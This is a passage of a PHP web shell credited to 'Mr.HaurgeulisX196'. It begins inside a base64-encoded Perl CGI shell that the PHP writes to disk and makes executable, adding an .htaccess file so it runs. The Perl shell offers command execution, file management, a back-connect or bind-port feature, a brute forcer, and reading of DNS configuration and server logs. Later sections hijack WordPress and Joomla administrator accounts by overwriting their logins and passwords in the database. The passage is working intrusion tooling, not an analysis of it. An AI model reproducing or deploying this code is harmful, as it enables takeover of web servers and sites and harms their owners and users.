ZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
chmod("cgi2012.izo",0755);
echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=config" method="post">
<?php
echo "<center/><br/><b><font color=white>+--==[ Config Shell By Mr.HaurgeulisX196 ]==--+</font></b><br><br>";
mkdir('config', 0755);
chdir('config');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cpc
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
chmod("config.izo",0755);
echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
</div>";
}
//////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
<?php
echo "<center/><br/><b><font color=white>+--==[ Wordpress Reset Password By Mr.HaurgeulisX196 ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
<tr><td> Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}
}
echo "
</div>"; }
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
<?php
echo "<center/><br/><b><font color=white>+--==[ Joomla Reset Password By Mr.HaurgeulisX196 ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td> username</td><td>
<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td> password</td><td>
<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
<tr><td> pass baru </td><td>123456 =
<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />
<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
